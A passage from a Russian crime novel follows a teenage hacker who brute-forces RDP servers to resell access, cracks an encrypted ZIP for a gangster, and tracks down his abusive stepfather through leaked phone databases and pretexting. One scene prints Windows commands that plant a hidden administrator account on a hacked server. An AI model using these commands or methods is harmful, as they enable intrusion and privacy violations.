Санчо вызывала некоторые сомнения, и  нормального диалога никак
не  выходило. Его предки почему‑то винили во  всем Кирилла, считая, что
именно он столь негативно повлиял на  их сына, пристрастив того к  подоз‐
рительным тусовкам, сомнительным увеселениям и  алкоголю. Разумеется,
теперь они всячески препятствовали их контактам вне школьных стен, где
Санчо в последнее время появлялся нечасто.

Зато сам Киря с головой зарылся в хакерские форумы, выискивая по кру‐
пицам полезную информацию. Для него это стало и хобби, и манией: каждой
ценной находке он радовался, будто ребенок, откопавший в  песочнице
оставленную сверстниками красивую игрушку. Накопленные знания требова‐
ли закрепления на  практике, и  Кирилл не  упускал ни  малейшего случая
поучаствовать в какой‑нибудь движухе. Он выложил на форум парочку собс‐
твенных переводов англоязычных статей про  методы перехвата трафика
и перебора паролей по словарю. Уже через пару месяцев завсегдатаи онлай‐
новых хакерских тусовок знали, что Kicks  — свой в  доску парень, который
имеет определенный авторитет и пользуется заслуженным уважением.

Впрочем, серьезной работы в  последнее время не  подворачивалось.
Фреш занимался своими собственными проектами, и если писал, то изредка
и  по каким‑то совершенно пустяковым поводам. От  скуки Кирилл принялся
брутить дедики — взламывать перебором паролей серверы и обычные юзер‐
ские компы на  винде. На  каждом таком серваке по  умолчанию был поднят
удаленный доступ по  протоколу RDP, а  многие админы не  заморачивались
установкой сложных паролей. Собственно, высокой хакерской квалификации
этот промысел вовсе не требовал: Киря использовал скачанный из интернета
сетевой сканер, настроенный на  порт  3389, и  программу, перебиравшую
логины и  пароли по  заданным словарям в  несколько потоков. Можно было
запустить процесс в  автоматическом режиме и  с чистой совестью завали‐
ваться спать: за ночь его машина успевала набрутить от десяти до двадцати
аккаунтов, среди которых попадались учетки с  правами администратора.
Такой улов можно было продать по два бакса за доступ, а если немного пот‐
рудиться и рассортировать собранные аккаунты по странам или версиям вин‐
ды, собрать в отдельный список те, которые с правами админа и без NAT’а,
да  еще и  прочекать, то есть проверить их на  работоспособность, то такие
учетки уходили уже за  пять или  десять долларов. Приобретали сбрученные
дедики с разными целями: в качестве личного прокси, для спама, флуда, ддо‐
са,  — в  общем, Кирилл не  интересовался мотивами покупателей. Платят
денюжку, и ладно.

Сейчас, разбирая логи после очередного такого сеанса хакерской магии,
Киря с трудом сдерживал радость: охота завершилась успешно, и в его сети
попались без  малого полтора десятка чужих машин. Неплохо! Оставалось
только проверить учетки, залогинившись на каждый из серверов, чтобы убе‐
диться в их пригодности для продажи. Для этого у Кирилла был припасен спе‐
циальный скрипт.

— Иди есть, все давно остыло! — послышался из‑за прикрытой двери нас‐
тойчивый окрик.

— Уже иду, мам!
Взгляд, скользивший по  бегущим на  черном фоне строкам, внезапно

зацепился за  нечто, кольнувшее занозой на  уровне подсознания. Один
из дедиков вел себя неправильно. Ударив по клавишам Ctrl и Х, Кирилл прер‐
вал тестирование и принялся разбирать текст в окне терминала.

Ага, вот оно. Скрипт пытался залогиниться на  сервер и  в случае ошибки
повторял попытку, чтобы исключить момент случайности. Если ничего
не получалось и со второго раза, сохранял в логе запись об отказе в доступе
и  переходил к  следующему серверу. Так вот, один из  дедиков при  первом
входе вернул ошибку Authentication error с  состоянием The  username
and password is incorrect, а на второй попытке выполнил авторизацию без воп‐
росов, с теми же учетными данными, которые только что сам и отверг. Очень
странно. Такого быть не должно. Хост совершенно точно был в сети, если уж
ответил оба раза. На всякий случай Киря пинганул его — и удаленная машина
отозвалась, все сетевые пакеты прошли без  задержек. Он проверил геоло‐
кацию IP-адреса: Россия, Свердловская область, Екатеринбург. Да  что же
с этим сервером не так?

— Ты есть идешь? — снова донеслось из‑за двери.
— Иду, иду, мам, пять минут.
Кирилл залогинился на  сервер вручную, запустил командную оболочку,

и его пальцы забегали над клавиатурой:







net user Kr1ll fj9_GNan0X /add

net localgroup Administrators Kr1ll /add

net localgroup "Remote Desktop Users" Kr1ll /add

net accounts /maxpwage:unlimited

Система охотно создала для него новую учетную запись, добавила ее в груп‐
пы администраторов и удаленных пользователей, а потом согласилась с тем,
что пароль будет действовать бессрочно. Отлично, и что теперь?

Разлогинившись, Кирилл зашел на дедик под своей новообретенной учет‐
кой и принялся изучать файловую систему. На кухне уж точно давно все осты‐
ло, ну да ладно. На глаза ему попадался сплошь какой‑то пользовательский
мусор да папки с установленными программами. Киря рассортировал дирек‐
тории по  размеру, но  лишь одна из  них привлекла его внимание  — почти
гигабайт весом! Внутри обнаружился файл непонятного назначения, по виду
зашифрованный «Драйвкриптом», больше ничего примечательного не  наш‐
лось. Недолго думая, Кирилл запустил его скачивание на один из припасен‐
ных именно на  такой случай FTP-серверов и  все‑таки встал из‑за компа
с целью перекусить. Не стоило лишний раз злить мать без повода.

Картофельное пюре с  рыбной котлетой и  впрямь оказались холодными,
но  Кирилл не  стал разогревать еду на  сковороде, а  принялся уплетать
как есть. Мать заглянула на кухню, укоризненно покачала головой:

— Хоть бы на улицу вышел, сколько можно за компьютером своим сидеть?
— Зачем, мам? — спросил Кирилл с набитым ртом.
— Воздухом подышать, размяться. Может, хоть с девушкой какой‑нибудь

познакомишься. Серый уже весь, как  мышь, посмотри на  себя, синяки
под глазами!

При упоминании девушек Киря поморщился: с  ними по‑прежнему никак
не  ладилось, хотя с  Трикси они продолжали общаться почти каждый вечер,
перебравшись из  привычной «аськи» в  более безопасный джаббер,
на  который Киря водрузил плагин OTR, призванный защитить переписку
от  посторонних глаз. Трикси по‑прежнему старалась избегать личных тем
и не желала рассказывать о себе. Временами он подумывал, что, может быть,
Санчо был не так уж и неправ насчет толстого волосатого мужика по ту сто‐
рону экрана, но  всякий раз гнал эти мысли прочь  — с  ней было интересно,
а  все остальное не  имеет значения. Киря усмехнулся, вспомнив финальную
сцену из  старой кинокомедии «В джазе только девушки». Сполоснул
в  раковине опустевшую тарелку, нацедил себе кипятка из  чайника, бросив
в кружку чайный пакетик, и вернулся к компу. Трикси была в сети.

«Привет, — защелкал клавишами Кирилл. — Что‑то скучно стало сегодня...
Вроде и дел полно, а голова не работает».

«Ха, знакомо,  — появился через небольшую паузу ответ.  — Я всегда так
чувствую себя по пятницам. Куча планов на выходные, а силы заканчиваются
уже накануне. Может, и вправду забей на дела, в выхи наверстаешь».

«А ты как? Все еще тайно управляешь миром из своего подземного бун‐
кера?»

«Конечно. Только сегодня бункер — это мой диван, а управление миром —
это выбор, что посмотреть из коллекции дисков».

«Ого, серьезное занятие! И каким будет решение на этот раз? :)»
«Думаю спасти человечество парой серий «Людей Икс». А  ты чем зай‐

мешься?»
«Не знаю, если честно. Устал от всего этого на сегодня. Такое ощущение,

что жизнь проходит мимо».
«Ты не один такой. Иногда я чувствую то же самое. Странно, да?»
«Во, хоть кто‑то меня понимает. А то сидел бы в тишине и думал, что я оди‐

нокий гик. А тут хотя бы ты есть. :)»
«Ой, как мило) Получается, ты болтаешь со мной, потому что тебе просто

одиноко?»
«Ну не  только. С  тобой... ну, не  знаю, проще как‑то. Чувствую, что могу

побыть немного самим собой, и это круто»
На сей раз собеседница медлила с ответом чуть дольше:
«Знаешь, я тоже так думаю. Иногда мне кажется, что мы знаем друг друга

чуть лучше, чем людей, с которыми мы видимся каждый день».
«Ну, в  нашем деле прайвиси  — это  часть жизни. Но  мне кажется, что

с тобой можно обойтись без масок. И это... по‑настоящему цепляет».
«Приятно слышать :)),  — Кирилл будто  бы увидел улыбку девушки сквозь

разделявшие их километры.  — Я редко чувствую связь с  кем‑то, особенно
через интернет. Но с тобой все как‑то... иначе».

«Может, потому, что мы похожи? Оба живем в этом виртуальном мире ,)».
«Возможно. Или, может, дело в том, что в этом виртуальном мире мы нас‐

тоящие».
Пальцы замерли над  клавиатурой в  нерешительности, но  Кирилл все же

сделал над собой некоторое усилие и набрал в окошке сообщения:
«Думаю, ты права. Иногда наши разговоры кажутся мне более честными,

чем те, что происходят в реале. А еще я скучаю по тебе, когда ты не онлайн».
Сердце забилось чуть чаще: а  что, если Трикси не  оценит его откровен‐

ность и  поднимет на  смех? Но  спустя несколько секунд мессенджер выдал
ответ:

«Знаешь, я тоже скучаю, когда ты не  в сети ,) Ладненько, пойду спасать
мир. Не теряйся! :-*»

У Кирилла с души словно свалился тяжелый камень, а смайлик с поцелуй‐
чиком в конце сообщения и вовсе подарил робкую надежду на то, что сегод‐
няшняя беседа  — это  начало чего‑то интересного. Может, и  вправду пойти
прогуляться, пока на улице еще светло и погода хорошая? Решено!

Кирилл наспех оделся, схватил ключи со  стоявшей перед  дверью тум‐
бочки, сбежал по  лестнице и  вышел из  подъезда. Холодное зимнее солнце
уже цеплялось за крыши домов, играло серебристыми искрами на вершинах
выросших во дворе сугробов. На мгновение Кирилл зажмурился, чтобы дать
глазам привыкнуть к слишком яркому свету, а когда открыл глаза, буквально
оцепенел. Возле соседнего подъезда маячила и переминалась с ноги на ногу
знакомая чуть сутулая фигура. Заприметив Кирю, отчим поднял воротник кур‐
тки и  зашагал прочь, сделав вид, что очутился здесь случайно. Кирилл
передернул плечами: он мог сколько угодно отгораживаться от  внешнего
мира железными дверями, но здесь, на улице, мама становилась абсолютно
беззащитной. Раз этот подонок караулит возле подъезда, значит, ждет явно
не его, вон как бодро затопал прочь, нервно оглядываясь. И что теперь, соп‐
ровождать мать каждый раз, когда та решит выйти из дома? Нет, не вариант.
Надо что‑то с этим делать…

Проводив взглядом отчима, поспешно скрывшегося за  углом, Кирилл
зашагал в противоположном направлении. Ноги сами понесли его по привыч‐
ному маршруту. Раз отчим не  ночует дома, значит, где‑то нашел себе вре‐
менное обиталище и средства к существованию. Хорошо бы разузнать, где,
да  подсобрать информацию, чем он теперь занимается. Вряд ли устроился
на  завод, не  в его стиле. Следовательно, опять крутит какие‑то околок‐
риминальные делишки, на чем можно было бы сыграть. Правда, и сам Кирилл
не так чтобы абсолютно бел и пушист перед законом, случись что, и ему най‐
дется что предъявить… Да  уж, задачка. И  как ее решить, пока совершенно
непонятно.

Киря не заметил, как ноги принесли его к знакомой панельной пятиэтажке.
Двор, заваленный плохо очищенным снегом, припаркованные машины… Воз‐
ле одной из них, «шестерки» с открытым капотом насыщенного лилового цве‐
та, сгорбился узнаваемый силуэт.

— Привет, Санчо! — окликнул друга Кирилл. — Чья это тачка?
— Моя, — как‑то неохотно признался тот, выпрямляясь и вытирая промас‐

ленные руки грязной тряпкой.
— Что, серьезно? Машину купил? У тебя ж прав нет!
— Зато обязанностей до хрена, — хохотнул Саня. — Школу закончу, тогда

получу, а пока буду так кататься. Нравится?
Киря с завистью оглядел автомобиль, заглянул в салон. Внутри сладковато

пахло ванилью, на  приборной панели ни  пылинки, на  сиденьях  — тем‐
но‑синие мягкие чехлы. Автомобиль, конечно, не новый, но в довольно‑таки
неплохом состоянии. Сердце обожгла досада: он не  может позволить себе
ноутбук, а друг вон тачки покупает…

— Круто!  — искренне оценил приобретение Киря.  — Гляжу, дела идут
в гору?

— Как‑то идут, но  скоро пойдут еще  лучше.  — Кирилл заметил, что Саня
нервно озирается по сторонам, словно куда‑то торопится или желает побыс‐
трее спровадить своего собеседника.  — Подумываю вот заняться чем‑то
более легальным. Кардинг  — это  хорошо, конечно, но  не будешь же всю
жизнь мелочь по карманам тырить…

— И что решил?
Санчо снова настороженно осмотрелся и заговорщицким тоном сообщил:
— Короче, я тут с одним парнем в клубе познакомился…
— Нормальные пацаны в клубах знакомятся с девчонками.
— Да иди ты на фиг. В общем, он из Питера, у нас тут в гостях, и растрепал

мне по  пьяни такую тему. Они там тащат бэушные ноуты из  Финки, контра‐
басом в основном, благо граница рядом, а у нас продают. У «фиников» такая
техника копейки стоит, поэтому навар почти в три конца получается. Я цифры
его записал, думаю взять у него и привезти сюда с десяток штук, а потом заг‐
нать. Если пойдет, можно бизнес замутить.

— А деньги откуда? — скептически поинтересовался Киря.
Партия из десяти даже секондхендовских компьютеров стоит немало. Кар‐

динг, конечно, может принести необходимый стартовый капитал, но, зная
привычку Сани транжирить деньги направо и  налево на  клубы, выпивку
и девочек, он сомневался, что у того хватит терпения накопить нужную сумму.

— Бабло будет, все чин чинарем!  — заверил друга Санчо.  — Я уже
обо всем утрещался.

— Ну, если привезешь ноуты, один мне отложи, куплю у тебя со скидочкой.
— Заметано! — охотно согласился Саня. — Ладно, братан, извини, мне тут

закончить надо… Как что появится, я тебе в джаббер черкану сразу.
Махнув грязной пятерней, Санчо нырнул обратно под капот, а Кирилл, тер‐

заемый странным чувством, направился прочь из  двора. Поведение друга
казалось ему необычным, да  и вообще тот в  последнее время вел себя
подозрительно. Был спокойный и  рассудительный парень, а  стал… Нет,
с Санчо явно творится что‑то не то.

Обогнув дом, Киря шмыгнул под козырек телефона‑автомата, снял трубку
и  сделал вид, что набирает номер. Двор отсюда отлично просматривался,
а  вот его самого не  было видно, что превращало его позицию в  отличный
наблюдательный пункт.

Санчо выпрямился, захлопнул капот, плеснул по  очереди на  ладони
из  пластиковой бутылки и  тщательно вытер руки. Постоял, озираясь по  сто‐
ронам, явно кого‑то поджидая. Шелестя шипованными колесами, во  двор
зарулил тонированный наглухо «мерин» цвета мокрого асфальта, остановил‐
ся почти у  самого подъезда. Открылась водительская дверь, и  из «Мер‐
седеса» выбрался…

Нет, Кирилл не  мог ошибиться: Колю Старого он прекрасно запомнил.
Бандит вразвалочку подошел к  Сане, они пожали друг другу руки. Старый
достал из кармана кожаной куртки с меховым воротником пачку «Мальборо»,
протянул сигарету Санчо. Закурив, принялись что‑то обсуждать, укутавшись
облаками сизого табачного дыма.

Вот, значит, откуда Саня решил взять средства на  свой коммерческий
проект. Кирилл почувствовал легкий укол обиды и досады: хотя с этими людь‐
ми у  него вроде  бы и  не осталось нерешенных вопросов, подпускать их
на такую близкую дистанцию благодаря Саниной неразборчивости он опре‐
деленно не  желал. Санчо от  своей идеи явно не  отступится: Киря слишком
хорошо знал своего друга, чтобы быть в этом абсолютно уверенным.

Значит, ради собственной безопасности теперь придется держаться
на дистанции от самого Санчо.
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— Ма, что случилось?
— Ничего. Все нормально.
На самом деле Кирилл прекрасно видел, что ничего не нормально. Мать

вернулась с  работы какой‑то испуганной и  подавленной, словно только что
повстречалась с  привидением. Закрылась в  своей комнате, и  только спустя
пять минут настойчивых уговоров он смог заставить ее отпереть дверь. Мама
была бледна, ее руки едва заметно дрожали, а  на шее под  подбородком
наливался чернотой свежий синяк, словно кто‑то пытался задушить ее, вце‐
пившись пятерней в горло.

— Опять, да? — уже догадываясь, что услышит в ответ, спросил Кирилл.
Мать молча кивнула:
— Вот…  — она протянула скомканную бумажку, на  которой были криво

накарябаны какие‑то цифры, — велел позвонить, как подумаю. Похоже, при‐
дется все‑таки пустить его обратно. Я устала бояться каждый раз, когда
выхожу на улицу.

— Не придется, — заверил ее Кирилл. — Что‑нибудь сообразим. Пойдем
на кухню, я тебе чаю налью.

Мать послушно встала и поплелась за ним. Черт возьми, ситуация и впрямь
становится опасной, поэтому действовать надо без промедления. Отчим зна‐
ет не только их домашний адрес, но и место, где работает мама, ему ничто
не  помешает заявиться и  туда. Кирилл положил на  стол бумажку, разгладил
ее рукой. Номер был незнакомый, впрочем, тот менял мобильники уже нес‐
колько раз подряд, теряя телефоны по  пьяной лавочке. Слабая зацепка,
но  хоть что‑то. Жаль, не  с кем посоветоваться, с  чего начать… Хотя почему
это не с кем?

Поставив на стол кружку с горячим чаем и вазочку с  печеньем, Киря долил
в  напиток молока, дождался, пока мама немного отойдет от  пережитого
стресса и у нее перестанут трястись руки, после чего вернулся в свою ком‐
нату и разбудил комп.

«Блин, дерьмовый расклад :(, — отправила грустный смайлик Трикси, ког‐
да Кирилл кратко пересказал ей свою историю. — Было дело, сталкивалась
с чем‑то подобным».

«В каком смысле?»
«В прямом. Всякое пришлось пережить».
«И как выкрутилась?»
«Есть способы найти информацию о  человеке, который никак не  желает

оставить тебя в покое. Минимум данных на входе и максимум на выходе. Лад‐
но, что у нас есть?»

«У нас?»
«Ну, если тебе нужна помощь, я могу попытаться. Опыт имеется».
«Почти ничего,  — признался Кирилл.  — Имя, номер мобильника и  пара

мест, где он бывает. Но он шифруется».
«Не беда. Начнем с  простого. Скинь номер. Проверю по  базам, у  меня

есть диски с абонентами нескольких операторов, потом еще на радиорынок
смотаюсь, возьму свежие. Еще может, всплывет что‑то в объявлениях или на
форумах».

«Да он инетом и не пользуется…» — возразил Киря.
«У вас там в Подгорске все такие технологически отсталые? ))))» — задор‐

но улыбнулся скобочками мессенджер. Опа, а ведь Киря никогда не говорил
Трикси, где именно живет.

«Откуда ты знаешь, из  какого я города?»  — едва сдерживая волнение,
набрал на клавиатуре он.

«Я же говорила, что умею искать информацию в  открытых источниках
и сопоставлять найденное».

«А что тебе еще известно?»
«Ну, например, что тебя зовут Кирилл и тебе 17».
Вот и вся анонимность. Если любой малознакомый человек из интернета

может вот так вот запросто вычислить всю его подноготную, самое время
задуматься о том, что со столь важной для него конфиденциальностью что‑то
определенно не  так. Хотя почему «любой»? В  удивительных способностях
Трикси он имел возможность не раз убедиться, всем остальным до нее очень
и очень далеко. Впрочем, заноза беспокойства все равно засела в его душе.

«Ну раз уж ты знаешь обо  мне так много, может, назовешь и  свое нас‐
тоящее имя?»  — отстучал на  клавиатуре Кирилл, отправил сообщение и  тут
же пожалел о  содеянном: а  что, если обычно скрытная девушка не  оценит
такую бесцеремонность и решит исчезнуть?

«Меня зовут Алла», — появился на экране ответ.
Ну вот и познакомились.

***

Наутро Кирилл специально вышел из дома раньше матери. Отчим привычно
топтался у  соседнего подъезда, но, заприметив пасынка, развернулся и  с
независимым видом зашагал прочь. Вместо того чтобы двинуть в  противо‐
положную сторону, Кирилл направился следом, не  отставая, но  и не  сок‐
ращая расстояние. Ну, опоздает сегодня на урок, в первый раз, что ли?

Отчим, несколько раз оглянувшись, перешел на противоположную сторону
улицы, дотопал до  перекрестка и  свернул на  проспект. Похоже, заметил
слежку, впрочем, Кирилл не  слишком‑то и  скрывался. Объект наблюдения
притормозил возле ларька с  газетами, купил «Комсомолку», затем дошел
до  ближайшей остановки и  запрыгнул в  отъезжающий автобус  — даже
если бы Кирилл вдруг пустился бегом, все равно не успел бы за ним. На вся‐
кий случай запомнив номер автобуса, Киря развернулся на сто восемьдесят
и отправился в школу: больше тут ловить было нечего.

Дома после уроков его ждало сообщение от NullByte, одного из завсегда‐
таев хакерского форума. «Кикс, заработать хочешь? Есть халтурка»,  —
написал в личку форумный знакомый.

«А что надо сделать?» — уточнил Кирилл.
«Есть один важный чел, ему помощь нужна,  — тут же откликнулся

NullByte. — Подробностей не знаю, сам у него спросишь. Он мессенджерами
не пользуется, вот номер мобилы, звякни, побазарь. Зовут Сергей Афанась‐
евич, я тебя рекомендовал как крутого спеца по бруту».

Ну вот и сыграли те самые переведенные с английского статейки: сначала
ты работаешь на  репутацию, а  потом репутация начинает работать на  тебя.
Памятуя об  осторожности, Кирилл на  всякий случай вбил полученный
телефонный номер в  поисковик и  сразу же понял, что сделал это  не нап‐
расно. Таинственный Сергей Афанасьевич оказался очень авторитетным
бизнесменом Трипольским из  соседнего крупного райцентра, владельцем
небольшого завода и нескольких агроферм. Настолько авторитетным, что его
фамилия пару раз упоминалась в  криминальных хрониках региональных
газет, а  сам он два года назад баллотировался в  депутаты  — насколько
успешно, беглый просмотр ссылок определить с ходу не позволил. В общем,
человек с  солидным капиталом и  еще более солидными связями, что по  ту
сторону закона, что по эту. Такие знакомства могут оказаться как очень опас‐
ными, так и  крайне полезными. Поборов внезапно накатившую робость,
Кирилл набрал заветные одиннадцать цифр на клавиатуре своего «Эрикссо‐
на». Трубку сняли почти сразу.

— Да? — раздался в динамике хрипловатый голос.
— Здравствуйте, Сергей Афанасьевич, я по  поводу компьютерной проб‐

лемы, которую нужно решить, — вежливо поздоровался Киря.
— Э‑э-э? А, да,  — похоже, собеседник не  сразу сообразил, о  чем идет

речь. — Слушай, у меня есть один файл, он того… Как его… Запакован.
— Архив?
— Ну да, архив. И он это, пароль требует.
— Пароль вы, вероятно, забыли? — подсказал Кирилл, уже догадываясь,

что Сергей Афанасьевич никогда его и не знал. — Нужно извлечь из архива
файлы, верно?

— Все правильно говоришь.
— Тогда пришлите, пожалуйста, мне этот файл по  электронной почте, я

посмотрю. Адрес я сейчас эсэмэской скину.
— Ладно, — хмыкнул на том конце авторитетный бизнесмен, — только это,

парень, смотри, чтобы оно не попало в чужие руки, понимаешь, да? Головой
мне ответишь.

— Не беспокойтесь, Сергей Афанасьевич, я гарантирую конфиденциаль‐
ность.

— Вот и ладушки. Давай свой адрес и перезвони, как узнаешь, чего как.
Вторым радостным событием стало сообщение от Аллы:
«Привет! Короче, по  форумам ничего не  нашлось, а  вот телефонный

номер зарегистрирован на какую‑то тетку. Скобичевская Ольга Владиславов‐
на, и у меня есть ее адрес прописки».

Интересненько. Судя по всему, несостоявшийся папаня нашел себе оче‐
редную пассию, у которой, возможно, и поселился, продолжая тем временем
терроризировать мать. Та же женщина, видать, справила ему новую сим‑кар‐
ту, а  может, и  телефон купила вместо очередного пропитого. Любопытная
гипотеза, надо бы ее проверить. И чем быстрее, тем лучше.

Сердечно поблагодарив Трикси, Кирилл наспех собрался  — залез
в  диван, где хранилась старая отцовская одежда, которую мама все никак
не решалась выкинуть, нашел там потертое драповое пальтишко, под ворот‐
ник которого заправил клетчатое кашне. Образ завершила кожаная кепка
на меху с отстегивающимися ушами. Глянул на себя в зеркало — ну вылитый
молодой клерк из какой‑нибудь затрапезной конторы, именно то, что сейчас
и нужно.

Требуемый адрес он отыскал быстро  — дом, заставший еще  сталинские
времена, располагался в самом центре, а искомая квартира оказалась ком‐
муналкой, о  чем красноречиво свидетельствовала целая гирлянда звонков,
приютившихся на  дверном косяке. Кирилл наугад нажал верхний, подождал
пару минут и  уже собирался надавить на  следующий, когда с  той стороны
раздался лязг отпираемого засова. Открыла невысокая щуплая женщина
в  простом домашнем халате, похожая на  пугливую востроносую мыш‐
ку‑норушку. Памятуя уроки Санчо, Кирилл напустил на  себя деловой вид
и обратился к ней максимально официальным тоном:

— День добрый. Скобичевскую Ольгу Владиславовну могу я увидеть?
— Это  я…  — пролепетала дамочка, растерянно хлопая редкими рес‐

ницами.
— Я из паспортного стола. Юрий Михайлович здесь проживает?
— Его нет… Он на работе… А что случилось?
— Повестка ему от  следователя,  — хмыкнул Кирилл.  — Адрес работы

не подскажете? Передать под роспись надо.
— Кутузовский, тридцать семь… Там ломбард, он туда недавно устро‐

ился…
— Благодарю, — кивнул Кирилл и без лишних слов развернулся к лестни‐

це, проигнорировав громыхающий в  тесной клетке из  рабицы доисторичес‐
кий лифт.

Женщина из‑за приоткрытой двери продолжала смотреть ему вслед.

Ломбард, значит. Одно из заведений, принадлежащих тем ребятам, что ког‐
да‑то забрали его компьютер. Вряд ли отчим там работает, скорее, долги
отрабатывает, хотя, может, и платят ему какие‑то копейки с барского плеча.
Иначе не  стал  бы он пользоваться чужим телефоном, а  свой небось купить
не на что.

Кириллу очень не хотелось наведываться по указанному дамочкой адресу,
но… Нужно хотя бы попытаться поговорить по‑человечески. Если в пропитых
мозгах этого существа осталась хоть капля разума, возможно, Киря сможет
убедить его оставить их с  матерью в  покое. Тяжело вздохнув, он зашагал
по  снежному месиву  — Кутузовский переулок располагался буквально
в одной трамвайной остановке.

Ломбард оказался именно таким, каким Кирилл его себе и  представлял:
крошечное помещение на первом этаже крупноблочной «хрущевки», переде‐
ланное из бывшей однокомнатной квартиры. Решетки на окнах, как в тюрьме,
окошечко кассы в такой же железной оправе. Помещение явно оборудовано
с  учетом наведывающегося сюда контингента. Киря поднялся по  заледе‐
нелым ступеням, толкнул дверь и огляделся. Стеклянная витрина с перстня‐
ми, золотыми цепочками и  браслетами, полки вдоль стен заставлены фото‐
аппаратами, музыкальной техникой и видеомагнитофонами. Почти что комис‐
сионка, только выбор побольше.

— Тебе чего здесь надо? — выкатил на него глаза из‑за прилавка отчим.
— Поговорить хочу.
— Ну так говори!
— Отвали от нас с матерью. И дорогу к нам забудь. Живешь со своей Оль‐

гой, ну и живи, только нас больше не трогай, понял?
Отчим грузно поднялся на ноги, вышел из‑за своей конторки, крепко схва‐

тил Кирилла за рукав пальто, специально сжав пальцы посильнее, чтобы при‐
чинить боль, и выволок на улицу.

— Ты чего, пугать меня вздумал, сученыш?  — дыша густым вчерашним
перегаром, прошипел он.  — Слушай сюда и  Ирине передай. Это  моя квар‐
тира, ясно? И я буду там жить. Станешь пасть разевать — зарою, и тебя, и ее
заодно. Понял, нет? Вали отсюда. Еще раз припрешься, ноги вырву. А за тот
случай мы с тобой попозже сочтемся.

С этими словами отчим толкнул Кирилла в спину так, что тот чуть не слетел
головой вниз с заледенелого крыльца.

Когда он добрался до дома, на улице уже стемнело. Матери Кирилл решил
ничего не  рассказывать, тихо разделся, зашел в  свою комнату и  уселся
за клавиатуру. Поиск по адресу «Кутузовский переулок, 37» выдал несколько
бесполезных отзывов о расположенном там заведении, а вот локальный рай‐
онный форум принес кое‑что любопытное. Один из пользователей жаловал‐
ся, что случайно обнаружил в том самом ломбарде украденный из его квар‐
тиры телевизор. Сочувствующие граждане советовали пострадавшему обра‐
титься в милицию, а кто‑то, наоборот, со скепсисом сомневался в эффектив‐
ности этого мероприятия. Другой форумчанин утверждал, что в  ломбарде
чуть ли не половина вещей стырена у добропорядочных граждан, все об этом
знают и никому до этого нет ни малейшего дела. В общем‑то, ситуация обыч‐
ная: если где‑то на районе появилась такая вот бандитская точка, все ответс‐
твенные лица, включая участкового, обычно в курсе. А по поводу мер, которые
они почему‑то не принимают, — так поди еще докажи, что они что‑то знают.

Почитав всю ветку форума до конца, Кирилл вновь обратился к поисковой
системе. «Статья 175, приобретение или сбыт имущества, заведомо добыто‐
го преступным путем, наказываются штрафом, либо исправительными
работами на срок до двух лет, либо лишением свободы на тот же срок…»

Вскрыть запароленный ZIP-файл  — задача в  целом несложная, для  того
существуют специальные утилиты. Старые версии WinZip не  использовали
серьезного шифрования, а  пароль программа сохраняла в  самом файле,
поэтому такая защита служила скорее для спокойствия пользователя, нежели
в  целях безопасности. При  наличии достаточно мощного компа скорость
перебора паролей достигает нескольких миллионов в секунду, и потому взло‐
мать защищенный архив можно за пару минут. С помощью какого‑нибудь Fast
Zip Cracker с этим без труда справится даже пятиклассник.

Кириллу не  повезло: присланный ему файл создавался в  современной
версии архиватора. Пароль программа не прятала внутри файла, а конверти‐
ровала в  32-битный ключ, с  использованием которого шифровала содер‐
жимое архива достаточно стойким алгоритмом. На  первый взгляд и  не под‐
ступишься. Тем не менее была одна хитрая лазейка.

Кирилл изучил метаданные файла и  выяснил, какой версией архиватора
и  с какими параметрами он был упакован. Скачав из  интернета именно эту
версию WinZip, он запаковал с  ее помощью другой файл с  такой же в  точ‐
ности степенью сжатия, но снабдил его своим собственным паролем, а затем
скормил оба архива небольшой программке. Та сравнила эти два файла
и хранящиеся в них ключи, отбросила заведомо неподходящие, а затем при‐
нялась искать правильный ключ по выбранному в ходе анализа алгоритму —
вся процедура заняла не более двадцати минут.

Дождавшись завершения этого процесса, Кирилл на  всякий случай убе‐
дился, что содержимое сжатого файла теперь прекрасно открывается.
Из чистого любопытства он глянул, ради чего была затеяна вся эта возня, —
внутри обнаружилась куча ни о чем не говорящих ему фотографий: какая‑то
весьма привлекательная женщина в  довольно откровенном купальнике
на пляже в компании улыбающегося молодого мужчины… Переупаковав все
фотки в другой архив без пароля, Киря набрал номер заказчика.

— Сергей Афанасьевич? Добрый вечер. Это компьютерщик, которому вы
архивчик отправляли.

— А, привет, хакер, — донесся из динамика знакомый хрипловатый голос.
Похоже, авторитетный бизнесмен уже слегка принял на  грудь и  пребывал
сейчас в благодушном настроении. — Удалось что‑нибудь сделать?

— Да, конечно. Работа выполнена, файлы извлечены.
— Блин, быстро ты сработал, я думал, это больше времени займет. Сколь‐

ко я тебе должен? Давай, не стесняйся, информация для меня важная, только
не болтай потом лишнего. Учти в гонораре плату за секретность.

— Сергей Афанасьевич, деньги мне, конечно, нужны, но не в них счастье.
Я знаю, что вы располагаете связями и большими возможностями…

— Ну, не без того! — хохотнула трубка.
— В  таком случае предлагаю обменять услугу на  услугу,  — набравшись

смелости, предложил Кирилл.
— Да? Любопытно. И чего же ты хочешь?
— Я хочу посадить одного человека.
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«Kicks, здорова! Дело есть!»
«Там насрали, надо съесть»,  — мысленно закончил в  рифму Кирилл,

но упавшее в личку сообщение от NullByte все‑таки прочитал. Форумный зна‐
комый собирал команду для крупного взлома — целью был сервер американ‐
ской айтишной компании «TerraCore», а заказчиками, по всей видимости, ста‐
ли конкуренты: кому еще могут понадобиться чужие корпоративные секреты?
«Если выгорит, можно около ляма поднять»,  — хвастливо заявлял NullByte.
«Рублей?»  — на  всякий случай уточнил Киря. «Баксов, чувак»,  — ответил
хакер.

Если поделить на всех, получится, конечно, гораздо меньше, но сумма все
равно выходила фантастическая. Ради интереса Кирилл черканул в джаббер
Фрешу, желая узнать, позвали ли его на эту вечеринку.

«Да, Нуль мне тоже написал», — ответил старый сетевой товарищ.
«Твое мнение?» — поинтересовался Киря.
«Мое мнение  — не  лезть в  это дерьмо. Там, где много бабок, обычно

еще больше неприятностей».
Пообещав в  ответном сообщении подумать над  столь щедрым пред‐

ложением, Кирилл решил заняться более насущными делами. Тот самый
дедик, с  которого он слил зашифрованный файл, никак не  выходил у  него
из головы. Ну, пароль от криптоконтейнера, положим, он попробует сбрутить,
однако нужны еще  цифровые ключи. «Драйвкрипт» позволяет выбрать
в качестве хранилища ключей любой файл — хоть картинку, хоть аудиозапись,
а значит, имеет смысл поискать на самом сервере. Очень может статься, что
файл с ключами не унесли куда‑то слишком далеко.

Кирилл вновь подключился к дедику, проверил на всякий случай, не висит
ли в системе активная сессия администратора, и принялся шарить по папкам
в  поисках чего‑нибудь подходящего. Файлов, в  которых вполне могли хра‐
ниться ключи, оказалось слишком много — недолго думая, он отсортировал
